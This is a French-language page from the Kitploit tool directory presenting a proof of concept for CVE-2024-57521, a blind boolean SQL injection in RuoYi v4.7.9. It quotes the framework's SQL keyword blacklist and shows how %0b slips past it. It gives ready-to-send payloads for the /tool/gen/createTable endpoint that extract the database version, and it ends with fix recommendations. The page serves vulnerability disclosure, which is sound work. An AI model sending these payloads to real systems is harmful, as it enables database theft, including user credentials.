Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-57521-SQL-Injection-PoC — Injection SQL aveugle de type preuve de concept pour RuoYi v4.7.9, contournant le filtre CVE-2024-42900 pour extraire les bases de données via une injection booléenne authentifiée. | Kitploit
Outils/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité des Bases de Données
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

Injection SQL aveugle de type preuve de concept pour RuoYi v4.7.9, contournant le filtre CVE-2024-42900 pour extraire les bases de données via une injection booléenne authentifiée.

Voir le dépôt
1il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Injection SQL authentifiée dans RuoYi v4.7.9 (Contournement de CVE-2024-42900)

Introduction

J'ai découvert une vulnérabilité d'injection SQL aveugle dans la fonctionnalité createTable du framework RuoYi v4.7.9. Cela permet à un administrateur authentifié d'exécuter des commandes SQL arbitraires via le paramètre sql. Il s'agit d'un contournement du correctif de CVE-2024-42900, car le filtre d'injection SQL de la méthode filterKeyword est insuffisant ; l'expression régulière peut être contournée en utilisant %0b comme caractère alternatif aux espaces.

Version affectée

Produit : RuoYi Framework
Version : ≤ 4.7.9
Lien : [Ruoyi]

Analyse de la vulnérabilité

La vulnérabilité a été trouvée dans le fichier comme suit. L'application s'appuie sur des mots-clés de liste noire pour filtrer les attaques par injection SQL ; cette approche est sujette aux contournements. Dans ce cas, pour corriger CVE-2024-42900, la chaîne a été ajoutée à la liste noire, mais l'application ne bloque toujours pas le caractère , je peux donc l'utiliser pour déclencher une injection SQL avec .

https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java
/*
%0b
select%0b
root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

L'expression régulière select correspond à select (suivi d'un espace). Elle ne correspond pas à select%0b, qui est un séparateur valide en SQL.

Étapes pour reproduire l'injection SQL booléenne

  1. Se connecter en tant qu'admin
  2. Envoyer une requête createTable (endpoint vulnérable /tool/gen/createTable)
    a. Injecter une requête VRAIE : true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. Injecter une requête FAUSSE : false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

Attention : il faut changer le nom de la table dans la requête CREATE après chaque requête réussie. 3. Grâce à l'injection SQL booléenne, les données peuvent être exfiltrées à l'aide du [poc] Python de ce dépôt
Utilisation
poc-usage
Exfiltrer la version de la base de données avec le PoC
poc-db-version

Impact

Un attaquant disposant de privilèges administratifs peut extraire l'intégralité de la base de données, y compris les identifiants des autres utilisateurs et les configurations système.

Recommandations

  1. Filtrer le caractère %0b.
  2. Filtrer le mot-clé select au lieu de select (supprimer l'espace final)
  3. Mettre à jour le CMS RuoYi vers la version 4.8.0.
Télécharger l’outil